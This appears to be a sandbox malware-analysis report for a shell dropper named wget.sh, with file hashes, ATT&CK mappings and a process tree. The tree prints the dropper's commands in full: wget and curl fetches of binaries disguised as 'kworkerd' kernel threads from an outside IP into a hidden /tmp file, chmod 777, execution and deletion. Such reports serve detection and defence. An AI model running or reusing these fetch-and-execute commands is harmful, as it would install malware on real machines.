90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713

Analysis

max time kernel
5s
max time network
7s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
12/07/2026, 03:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
wget.sh
Size 4KB
Sample260712-efgzjaex7x
SHA256 90e72cb310525972af1e9d97cd837d48aaf87a429930b507f56befddff1ff713
MD5 27c926823687337fe491a0578dcee3bf
SHA1 3c11433b0e5a3354dab55eea7b535074e3c11103
SHA512 0de8408bc0c48d1f809fcc6faad7b5d85b574379dec0f6ad030e3dcb07db35528976504bf04c954261c453eda3173424ff077a6f89cc13fc79cca54225078bae
SSDEEP 24:j96f0fs+L+Jmgs+LJlSlLxs+L5M7ldls+L0fxf2Us+LuifibVs+Lcmfm0GCGs+Le:ev5F7Fh
TLSH
T12B8171E6F834A522304DFAFCF217A7848746CEB990BB3601A046AD7301CF558B54DBB1
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
689	chmod
702	chmod
720	chmod
736	chmod
671	chmod
678	chmod
685	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/.k	672	wget.sh
/tmp/.k	679	wget.sh
/tmp/.k	686	wget.sh
/tmp/.k	690	wget.sh
/tmp/.k	704	wget.sh
/tmp/.k	721	wget.sh
/tmp/.k	737	wget.sh

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	curl
File opened for modification	/tmp/.k	wget
File opened for modification	/tmp/.k	wget

/tmp/wget.sh
/tmp/wget.sh
1⤵
- Executes dropped EXE
PID:645
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:647
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/.k
  /tmp/.k
  2⤵
  PID:672
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:675
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-events -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:676
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/.k
  /tmp/.k
  2⤵
  PID:679
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:681
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:682
- /bin/busybox
  busybox wget http://91.92.40.118/kworkerd-cgroup -O /tmp/.k
  2⤵
  PID:683
- /usr/bin/curl
  curl http://91.92.40.118/kworkerd-cgroup -o /tmp/.k
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/.k
  /tmp/.k
  2⤵
  PID:686
- /bin/sh
  /bin/sh /tmp/.k
  2⤵
  PID:686
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:687
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-netns -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:688
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/.k
  /tmp/.k
  2⤵
  PID:690
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:692
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-netns-rt -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:702
- /tmp/.k
  /tmp/.k
  2⤵
  PID:704
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:706
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-rcu -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:708
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/.k
  /tmp/.k
  2⤵
  PID:721
- /bin/rm
  rm -f /tmp/.k
  2⤵
  PID:724
- /usr/bin/wget
  wget http://91.92.40.118/kworkerd-irq -O /tmp/.k
  2⤵
  - Writes file to tmp directory
  PID:725
- /bin/chmod
  chmod 777 /tmp/.k
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/.k
  /tmp/.k
  2⤵
  PID:737

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Path /tmp/.k
Size 287KB
SHA256 46cfad24a61fd8087b5c28c438e8cee7b42f0bfeb471d55e0a5d3e2f14b070cb
MD5 6567ef574c33a879033a082fa3ba9bf3
SHA1 8e42add60dc5432f58533c31b1e0b119289077a1
SHA512 bfa8ca2a8fca29e69829c8acb311ebe0cca7660f79f0e69f445fbc54c3da82e3a05df77857e8959d4e3f97178bf82e28ffb1bcfd8c65026305368dcb03a27e3b
SSDEEP 6144:GcViMFwCX6C6HmpnwLc3g+bmbTRYqxyPXTqQlz78:GLMFX6xmpnwLc3sTRmqQlH8
TLSH
T1E9544B03658095B6C483E0B6CBDFA2235A61783D5C3A724A27E0BF667F56DF05B19B03
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.k
Size 239KB
SHA256 31b5215d2bab7691c47f8e27ed17fcc99b20e74d56e3388987ff20ec92f70d97
MD5 9a60708d933a2a104c193bcc45351b93
SHA1 a0a3c5838ab89c92e5695cb46cbca4cc4760e94b
SHA512 052fccab9ac5e278f90ce531547e6d9bedb1d2f748b60d33e830dfc8ee6109cd5529bc3fbf78d5fea4b7419c4c4336fc3a65295ca1e1803272d3b73108c77485
SSDEEP 6144:nQ6x6vsYVnxPrwTZ3nEFHs2IZzQvxqxAdnwqelrmt+:nr4vskxPs9OgQvAqelY+
TLSH
T10C344D43AA43EAF2F01315B112AAAF635931EC3A4C2FC4CAE7647D71CDA11C4962673D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.k
Size 162B
SHA256 340c8464c2007ce3f80682e15dfafa4180b641d53c14201b929906b7b0284d87
MD5 1b7c22a214949975556626d7217e9a39
SHA1 d01c97e2944166ed23e47e4a62ff471ab8fa031f
SHA512 ba64847cf1d4157d50abe4f4a1e5c1996fe387c5808e2f758c7fb3213bfefe1f3712d343f0c30a16819749840954654a70611d2250fd0f7b032429db7afd2cc5
TLSH
T159C08C6E2613BD4CC6A3217522C3B490C09AA3A7A4EA46214840805331CB29A8AC7396
MD5 SHA1 SHA512 TLSH

Submit Download

Path /tmp/.k
Size 415KB
SHA256 80ce991efa532d72569247a123a26587e4c9cac2a6e29bd620d3309f2d13c393
MD5 2cb36f7cc74750427a554c365acf24bd
SHA1 c046506e0d6f4fb86e03ef2c65535286d4c8206d
SHA512 5e3f71a8595165eb4b4baaebecca82f89dd7aeb70747cece444b725aba217a412f613f25b320bdbe7f2ecba2f0d614e3da8f6a32522e1a2d69f5445bdbae14dd
SSDEEP 12288:yn7yuKOCUlYCbwJvV2kDiXuC9e1eEZZ4lUs:EzKOBlUJvV2WiXZEZZ4qs
TLSH
T1B79422CFE713DCAEE468C57164B7D9362B0C5A4B17D141D475783CCA0BA8298A88CFE9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.k
Size 398KB
SHA256 12ce9af80d7bda29cc946c03ef0378f09fb76d2807e901866416de88626d9df6
MD5 8e31f7cd991025f22b12b10b1de76844
SHA1 4096bd879be0686a45c9480262a0a4c6385a7c5b
SHA512 bc3b551796e5c1441ecb2ca13556c8a5ea63aba939e9440a30de4f3f4304dffc1b303c125744a0ed02e072ab57b76ea1825fd4a89fe14689f716451a442f980f
SSDEEP 12288:WkeG9jDDa0RyBR5bW+gwmWrPt7ZzCGMf54NaDr:Wkk0PbWrjC554Na3
TLSH
T1FF9423141C33C3A5E66CCC3421FBC95317846A122BE6E95CD97CEE4D869C4CA25C5BAF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Path /tmp/.k
Size 416KB
SHA256 e8ed2648ea9267a25487b30467633870b6df59c4d3886f13fe11554d82f4737a
MD5 0cc5875749f5389fa872c7c1c38ddb4a
SHA1 38005c53c3904a37a60a97028cb0bd5eaaadd2e6
SHA512 95bfb0ea374b6f5c32ff435084ed729bd405429b6a0f74ace89097b9e6635639caecc6d2326793c25e83ba477504e486fcacc61986aa9adae6b6e277716b3306
SSDEEP 12288:DQvYVscRY5N75OHwaLLJ+C2gqqVrAYqhVg7oP4l3:DQves/O2gqqVrtwVg7u4N
TLSH
T1C3947C56BD419F17C1C226F7FBAE4289371A7BA9D6EE3103D8146F90338A48F0E36251
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads